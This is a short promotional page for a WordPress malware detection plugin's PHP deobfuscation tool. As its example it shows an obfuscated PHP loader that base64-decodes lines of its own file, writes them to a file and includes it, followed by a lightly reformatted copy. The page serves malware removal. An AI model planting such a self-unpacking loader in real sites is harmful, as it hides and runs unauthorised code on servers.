PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $y=lTRIm('RXJDEQXT');file_Put_cOntentS($y,BAsE64_DEcoDE( IMPlOdE(aRrAY_SLIce(file( fIle) ,4 ,8))));incLuDe(wORDwRap ('RXJDEQXT')); ?>...

Obfuscated php code

<?php $y=lTRIm('RXJDEQXT');file_Put_cOntentS($y,BAsE64_DEcoDE( IMPlOdE(aRrAY_SLIce(file(
__fIle__) ,4
,8))));incLuDe(wORDwRap ('RXJDEQXT')); ?>

Decoded(de-Obfuscated) php code

<?php

$y = lTRIm('RXJDEQXT');
file_Put_cOntentS($y, BAsE64_DEcoDE(IMPlOdE(aRrAY_SLIce(array(0 => "<?php \$y=lTRIm('RXJDEQXT');file_Put_cOntentS(\$y,BAsE64_DEcoDE( IMPlOdE(aRrAY_SLIce(file(", 1 => "__fIle__) ,4", 2 => ",8))));incLuDe(wORDwRap ('RXJDEQXT')); ?>"), 4, 8))));
include wORDwRap('RXJDEQXT');

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.